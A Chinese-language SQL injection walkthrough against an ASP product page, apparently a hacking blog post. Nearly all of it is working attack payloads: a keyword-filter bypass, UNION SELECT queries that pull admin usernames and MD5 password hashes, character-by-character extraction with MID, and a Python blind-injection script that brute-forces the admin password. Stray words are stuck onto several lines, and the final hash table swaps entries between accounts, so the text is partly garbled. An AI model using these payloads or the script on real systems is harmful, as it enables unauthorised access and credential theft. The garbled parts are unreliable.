http://www.xxx.cn/cp.asp?classid=3
http://www.xxx.cn/cp.asp?classid=3 and //有攔截關鍵字
http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大寫繞過
http://www.xxx.cn/cp.asp?classid=3 AND 1=2
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 9%16 //錯誤
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,2,3,4,5,6,7,8 FROM ADMIN%16 //返回正常,爆出可顯示位2,說明存在admin表
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,id,3,4,5,6,7,8 FROM ADMIN%16 //返回4,5,7 說明分別有三個用戶,ID分別爲4,5,7python
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 1 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 2 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 3 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin8
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //admin8
再或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //爆出 admin,admin8,lxiaofuapp
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,pwd,3,4,5,6,7,8 FROM ADMIN%16 //爆出 4817cc8dcbb3fb5,ae0284ccc20bdde,bbd06203b2ba922測試
整理下當前結果:
id admin pwd
4 lxiaofu bbd06203b2ba922
5 admin ae0284ccc20bdde
7 admin8 4817cc8dcbb3fb5url
可是以上MD5密文都是15位,正常應該是16位或者32位:code
先看一下pwd字段的長度:
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,LEN(pwd),3,4,5,6,7,8 FROM ADMIN%16 //返回16,表示密文是16位orm
已知密文是16位,再來截取出第16位,條件爲ID
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //c
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=4),3,4,5,6,7,8 FROM ADMIN%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=5),3,4,5,6,7,8 FROM ADMIN%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=7),3,4,5,6,7,8 FROM ADMIN%16 //cblog
整理下當前結果:
id admin pwd
4 lxiaofu bbd06203b2ba922f
5 admin 4817cc8dcbb3fb58
7 admin8 ae0284ccc20bddecci
或者使用測試盲註腳本:get
import requests heads = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0'} payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' pwd=[] for i in range(1,17): for payload in payloads: url = "http://www.xxx.cn/cp.asp?classid=24 AND ASC((SELECT TOP 1 MID(pwd,{},1) FROM admin))={}".format(i,ord(payload)) response=(requests.get(url=url,headers=heads).content).decode(encoding='gbk') # print(url) if str("?Product_ID=194") in response: pwd.append(payload) print('\n','pwd is:',payload,end='') break else: print('.',end='') print('\n [Done] pwd:',''.join([i for i in pwd]))